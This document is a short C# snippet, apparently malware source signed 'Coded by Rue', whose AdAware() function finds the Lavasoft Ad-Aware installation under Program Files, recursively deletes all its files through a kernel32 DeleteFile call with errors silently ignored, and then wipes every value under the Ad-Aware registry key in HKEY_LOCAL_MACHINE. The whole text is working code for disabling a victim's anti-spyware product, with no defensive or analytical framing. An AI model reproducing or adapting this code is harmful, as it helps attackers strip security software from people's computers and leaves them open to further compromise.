[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern bool DeleteFile(string path);

        //Coded by Rue
        static void AdAware()
        {
            List<string> AdAwarePaths = new List<string>();

            string ProgramFiles = Shell32.GetCSIDLPath(Shell32.CSIDL.CSIDL_PROGRAM_FILES);
            AdAwarePaths.Add(ProgramFiles + "\\Lavasoft\\");

            foreach (string path in AdAwarePaths)
            {
                //Coded by Rue
                if (Directory.Exists(path))
                {
                    DirectoryInfo dirInfo = new DirectoryInfo(path);
                    FileInfo[] dirFiles = dirInfo.GetFiles("*.*", SearchOption.AllDirectories);

                    foreach (FileInfo file in dirFiles)
                        try { Kernel32.DeleteFile(file.FullName); }
                        catch { continue; }
                }
            }

            RegistryKey rmLMADKeys = Registry.LocalMachine.OpenSubKey("Software\\Lavasoft\\Ad-Aware\\", true);

            //Coded by Rue
            string[] LMValues = rmLMADKeys.GetValueNames();
            foreach (string key in LMValues)
                try { rmLMADKeys.DeleteValue(key); }
                catch { continue; }

            rmLMADKeys.Close();
        }